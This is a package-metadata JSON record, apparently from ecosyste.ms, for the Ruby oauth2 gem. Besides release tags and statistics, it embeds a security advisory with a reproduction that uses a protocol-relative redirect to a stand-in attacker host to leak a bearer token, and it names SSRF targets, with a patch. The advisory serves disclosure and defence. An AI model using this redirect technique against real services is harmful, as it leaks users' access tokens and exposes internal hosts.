h%2Foauth2/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"03f4efb927afd42c9fbd9da6ed029dd797539e58","kind":"tag","published_at":"2011-04-20T07:09:56.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.4.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.4.0/manifests"},{"name":"v0.3.0","sha":"b789eed6af5e6202373049925f543c1feefe4206","kind":"tag","published_at":"2011-04-08T08:45:10.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.3.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"822f527e1db66400ade48c042591413ea1ef939a","kind":"tag","published_at":"2011-04-01T15:54:54.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.2.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.2.0/manifests"},{"name":"v0.1.1","sha":"49770b350f5de871181b6a6e86b5eebd9c7cf101","kind":"commit","published_at":"2011-01-12T21:44:22.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.1.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"17a618976b1df8b5898486cadfd0e9ac43966caf","kind":"tag","published_at":"2010-10-13T07:10:39.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.1.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.1.0/manifests"},{"name":"v0.0.13","sha":"326261a644fc63fb9bc95faa76b4084874468ebf","kind":"commit","published_at":"2010-08-17T20:10:36.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.13","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.13/manifests"},{"name":"v0.0.12","sha":"94d58a24e62a1729a8e7fd28c6af34500eb36646","kind":"commit","published_at":"2010-08-17T19:58:24.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.12","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.12/manifests"},{"name":"v0.0.11","sha":"e802246588e70cdaf2e43c77434563b204894996","kind":"commit","published_at":"2010-08-17T19:24:16.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.11","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.11/manifests"},{"name":"v0.0.10","sha":"d471df72c2ccaa98610f1c57f68234d01c6f645d","kind":"commit","published_at":"2010-06-19T15:03:47.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.10","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.10/manifests"},{"name":"v0.0.9","sha":"8c383cd73cd41ecc3d02277bcecba0d7408f25d0","kind":"commit","published_at":"2010-06-18T16:31:21.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.9","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.9/manifests"},{"name":"v0.0.8","sha":"3b7ccb50996138615e12759aae7050108f82d25b","kind":"commit","published_at":"2010-04-27T18:05:12.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.8","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.8/manifests"},{"name":"v0.0.7","sha":"c5f6d0e228caa496acdd38ef8e98986cb663ad5e","kind":"commit","published_at":"2010-04-27T16:22:44.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.7","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.7/manifests"},{"name":"v0.0.6","sha":"d67e48f09dce93665cd563c677e1af47e76ae096","kind":"commit","published_at":"2010-04-25T15:12:04.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.6","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"6311eedda64dfe61a77f2c3c9baad84a40fac4fe","kind":"commit","published_at":"2010-04-24T00:01:13.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.5","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"d6b329283004958e9679c4a1044bbce646d96335","kind":"commit","published_at":"2010-04-22T18:37:06.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.4","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"ad1bc5307a2d6821763c585a5a7067292216e7b5","kind":"commit","published_at":"2010-04-22T18:32:10.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"d5ac16287238f8b71b066ec95bce858486a67736","kind":"commit","published_at":"2010-04-22T05:24:44.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"157c33e734cb7f975f25c25e904f10df0327a2e3","kind":"commit","published_at":"2010-04-22T05:19:33.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.0.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-16T10:00:43.859Z","dependent_packages_count":533,"downloads":272329438,"downloads_period":"total","dependent_repos_count":59498,"rankings":{"downloads":0.10091323691751876,"dependent_repos_count":0.14384317748463998,"dependent_packages_count":0.08585988113424248,"stargazers_count":14.058161706493014,"forks_count":8.715892998516965,"docker_downloads_count":0.19848128366097614,"average":3.8838587140345595},"purl":"pkg:gem/oauth2","advisories":[{"uuid":"GSA_kwCzR0hTQS1wcDkyLWNyZzItZ2Z2Oc4ABgmi","url":"https://github.com/advisories/GHSA-pp92-crg2-gfv9","title":"OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host","description":"## Summary\n\nWhen an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 §5.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI(\"http://idp.trusted/userinfo\").merge(\"//attacker.example/leak\")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer \u003caccess-token\u003e` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request.\n\nThe result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user.\n\n## Affected\n\n- `oauth2` v2.0.21 and all prior versions back to and including v0.4.0.\n  - The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n  - The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n- Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x).\n- Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific.\n\n## Impact\n\nA consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:\n\n1. **Cross-origin credential disclosure.** The connection-scoped `Authorization: Bearer \u003ctoken\u003e` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction.\n2. **SSRF from the application server.** The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot.\n\nThe combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed — the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.\n\n## Vulnerable code\n\n[`lib/oauth2/client.rb#L146-L182`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/client.rb#L146-L182) at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`):\n\n```ruby\ndef request(verb, url, req_opts = {}, \u0026block)\n  response = execute_request(verb, url, req_opts, \u0026block)\n  status = response.status\n\n  case status\n  when 301, 302, 303, 307\n    req_opts[:redirect_count] ||= 0\n    req_opts[:redirect_count] += 1\n    return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n\n    if status == 303\n      verb = :get\n      req_opts.delete(:body)\n    end\n    location = response.headers[\"location\"]\n    if location\n      full_location = response.response.env.url.merge(location)  # \u003c-- protocol-relative input replaces authority\n      request(verb, full_location, req_opts)\n    # ...\n```\n\n`response.response.env.url` is the resolved URL of the prior request (always absolute, since Faraday's `build_exclusive_url` produces an absolute URI). `location` is the raw `Location` response header, with no validation. `URI#merge` follows RFC 3986 §5.2 and treats `//host/path` as a network-path reference, dropping the base authority and adopting the input's host. The recursive `request(verb, full_location, req_opts)` then re-enters with `req_opts` unchanged, which means any `Authorization` header that `OAuth2::AccessToken#configure_authentication!` placed in `req_opts[:headers]` for the original request travels with the redirected request to the attacker-controlled host.\n\nThe credential plumbing is at [`lib/oauth2/access_token.rb#L376-L408`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access_token.rb#L376-L408):\n\n```ruby\ndef configure_authentication!(opts, verb)\n  # ...\n  case mode\n  when :header\n    opts[:headers] ||= {}\n    opts[:headers].merge!(headers)\n  # ...\nend\n\ndef headers\n  {\"Authorization\" =\u003e options[:header_format] % token}\nend\n```\n\nThe default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer \u003ctoken\u003e` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins.\n\n## Reachable in production\n\nThe vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached.\n\nRealistic upstream triggers:\n\n1. **Open redirect on the IdP.** Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it.\n2. **Tenant-controlled IdP.** Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly.\n3. **Compromised or downgraded IdP.** A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.\n\nIn all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.\n\n## Reproduction\n\nThe issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`.\n\nMinimal setup:\n\n```ruby\nrequire \"oauth2\"\n\nclient = OAuth2::Client.new(\n  \"client-id\",\n  \"client-secret\",\n  site: \"http://idp.example.test\"\n)\n\ntoken = OAuth2::AccessToken.new(client, \"SECRET-BEARER-TOKEN\")\ntoken.get(\"/userinfo\")\n```\n\nIf the configured authorization/resource server responds to that request with a redirect such as:\n\n```http\nHTTP/1.1 302 Found\nLocation: //attacker.example.test/leak\nContent-Length: 0\n```\n\nthen vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer \u003ctoken\u003e` by default, the next request is sent to the attacker-controlled host with the bearer token attached:\n\n```http\nGET /leak HTTP/1.1\nHost: attacker.example.test\nAuthorization: Bearer SECRET-BEARER-TOKEN\n```\n\nThis requires no special Faraday adapter behavior. The vulnerable redirect handling is in `OAuth2::Client#request`; the attacker-controlled input is the raw `Location` header value from a 30x response.\n\n### Patched-build verification\n\nMonkey-patch `OAuth2::Client#request` so that protocol-relative `Location` values are forced down the relative-path branch of `URI#merge` by prepending `./`. Re-run the attack against the same `poc_collector.rb` instance.\n\n```ruby\nmodule OAuth2\n  class Client\n    def request(verb, url, req_opts = {}, \u0026block)\n      response = execute_request(verb, url, req_opts, \u0026block)\n      status = response.status\n      case status\n      when 301, 302, 303, 307\n        req_opts[:redirect_count] ||= 0\n        req_opts[:redirect_count] += 1\n        return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n        verb = :get and req_opts.delete(:body) if status == 303\n        location = response.headers[\"location\"]\n        if location\n          # PATCH: neutralise protocol-relative location before URI#merge.\n          safe_location = location.start_with?(\"//\") ? \"./#{location}\" : location\n          full_location = response.response.env.url.merge(safe_location)\n          request(verb, full_location, req_opts)\n        else\n          raise(Error.new(response), \"Got #{status} status code, but no Location header was present\")\n        end\n      # ... unchanged fallthrough ...\n      end\n    end\n  end\nend\n```\n\nAfter applying the patch, the same `token.get(\"/userinfo\")` call resolves the attack `Location: //127.0.0.1:4568/leak` to `http://127.0.0.1:4567/127.0.0.1:4568/leak` — same host as the IdP — and `:4568` never receives the bearer token. The IdP redirect loop trips `max_redirects` and the helper returns `status: 302` to the caller with no off-host request. Collector log after the patched run shows `:4568` LEAK count unchanged from the negative control:\n\n```text\n[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n```\n\nAll hops stay on `127.0.0.1:4567`. The bearer token never leaves the IdP.\n\n## Suggested fix\n\nTreat protocol-relative `Location` values as relative paths when resolving against the prior request URL. The smallest local fix is the `./` prefix used in `Faraday::Connection#build_exclusive_url` for the same primitive (see lines 485-488 of `faraday/lib/faraday/connection.rb`):\n\n```ruby\nlocation = response.headers[\"location\"]\nif location\n  # Force protocol-relative inputs to be interpreted as relative paths so they\n  # cannot override the base authority via RFC 3986 §5.2 network-path reference.\n  safe_location = location.respond_to?(:start_with?) \u0026\u0026 location.start_with?(\"//\") \\\n    ? \"./#{location}\" : location\n  full_location = response.response.env.url.merge(safe_location)\n  request(verb, full_location, req_opts)\n```\n\nA defence-in-depth follow-up is to also strip credential-bearing headers (`Authorization`, plus any custom headers configured via `header_format`) from `req_opts[:headers]` when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in `lib/mechanize/http/agent.rb#L1068-L1077`. That additional check protects against the orthogonal case where an attacker controls an absolute `Location: http://attacker.example/...` value on a same-host open-redirect endpoint.\n\n## Credit\n\nReported by tonghuaroot.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-28T16:32:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9","https://github.com/ruby-oauth/oauth2/commit/0f0a474f1b38453e119e660c2daca742d4378ce9","https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22","https://github.com/advisories/GHSA-pp92-crg2-gfv9"],"source_kind":"github","identifiers":["GHSA-pp92-crg2-gfv9","CVE-2026-54603"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-28T17:00:33.001Z","updated_at":"2026-07-30T14:00:11.868Z","epss_percentage":0.00268,"epss_percentile":0.18796,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcDkyLWNyZzItZ2Z2Oc4ABgmi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcDkyLWNyZzItZ2Z2Oc4ABgmi","packages":[{"ecosystem":"rubygems","package_name":"oauth2","versions":[{"first_patched_version":"2.0.22","vulnerable_version_range":"\u003e= 0.4.0, \u003c= 2.0.21"}],"purl":"pkg:gem/oauth2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcDkyLWNyZzItZ2Z2Oc4ABgmi/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/oauth2","docker_dependents_count":575,"docker_downloads_count":619817949,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/oauth2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/oauth2/dependencies","status":null,"funding_links":["https://github.com/sponsors/pboling","https://buymeacoffee.com/pboling","https://issuehunt.io/r/pboling","https://ko-fi.com/pboling","https://liberapay.com/pboling","https://opencollective.com/ruby-oauth","https://patreon.com/galtzo","https://polar.sh/pboling","https://thanks.dev/u/gh/pboling","https://tidelift.com/funding/github/rubygems/oauth2"],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-14T22:37:46.520Z","issues_count":29,"pull_requests_count":136,"avg_time_to_close_issue":26039226.703703705,"avg_time_to_close_pull_request":486102.0,"issues_closed_count":27,"pull_requests_closed_count":116,"pull_request_authors_count":27,"issue_authors_count":20,"avg_comments_per_issue":3.7586206896551726,"avg_comments_per_pull_request":2.051470588235294,"merged_pull_requests_count":91,"bot_issues_count":0,"bot_pull_requests_count":45,"past_year_issues_count":4,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":161270.5,"past_year_avg_time_to_close_pull_request":238220.54237288135,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":59,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":2.25,"past_year_avg_comments_per_pull_request":2.207792207792208,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":32,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/issues","maintainers":[{"login":"pboling","count":59,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pboling"},{"login":"autobolt","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/autobolt"}],"active_maintainers":[{"login":"pboling","count":39,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pboling"},{"login":"autobolt","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/autobolt"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/oauth2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/oauth2/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/oauth2/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/oauth2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/oauth2/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/oauth2/codemeta","maintainers":[{"uuid":"284","login":"sferik","name":null,"email":null,"url":null,"packages_count":65,"html_url":"https://rubygems.org/profiles/sferik","role":null,"created_at":"2022-11-09T09:43:16.770Z","updated_at":"2022-11-09T09:43:16.770Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/sferik/packages"},{"uuid":"509","login":"pboling","name":null,"email":null,"url":null,"packages_count":151,"html_url":"https://rubygems.org/profiles/pboling","role":null,"created_at":"2022-11-09T09:43:16.818Z","updated_at":"2022-11-09T09:43:16.818Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/pboling/packages"},{"uuid":"223","login":"mbleigh","name":null,"email":null,"url":null,"packages_count":50,"html_url":"https://rubygems.org/profiles/mbleigh","role":null,"created_at":"2022-11-09T09:43:16.727Z","updated_at":"2022-11-09T09:43:16.727Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/mbleigh/packages"}],"registry":{"name":"rubygems.org","url":"https://rubygems.org","ecosystem":"rubygems","default":true,"packages_count":211110,"maintainers_count":69807,"namespaces_count":0,"keywords_count":19491,"github":"rubygems","metadata":{"funded_packages_count":8036},"icon_url":"https://github.com/rubygems.png","created_at":"2022-04-04T15:19:23.446Z","updated_at":"2026-08-17T05:00:17.734Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/namespaces"}},{"id":12284564,"name":"oauth2","ecosystem":"rubygems","description":"🔐 A Ruby wrapper for the OAuth 2.0 Authorization Framework, including the OAuth 2.1 draft spec, and OpenID Connect (OIDC)","homepage":"https://oauth2.galtzo.com","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/ruby-oauth/oauth2","keywords_array":[],"namespace":null,"versions_count":79,"first_release_published_at":"2010-04-22T05:19:42.272Z","latest_release_published_at":"2026-07-15T00:58:16.226Z","latest_release_number":"2.0.25","last_synced_at":"2026-08-16T10:00:42.652Z","created_at":"2025-10-07T04:39:05.642Z","updated_at":"2026-08-16T10:00:45.315Z","registry_url":"https://gem.coop/gems/oauth2","install_command":"gem install oauth2 -s https://gem.coop","documentation_url":"http://www.rubydoc.info/gems/oauth2/","metadata":{"funding":"https://github.com/sponsors/pboling"},"repo_metadata":{"id":878990,"uuid":"622911","full_name":"ruby-oauth/oauth2","owner":"ruby-oauth","description":"🔐 oauth2 - A Ruby wrapper for the OAuth 2.0, \u0026 2.1 Authorization Frameworks, including OpenID Connect 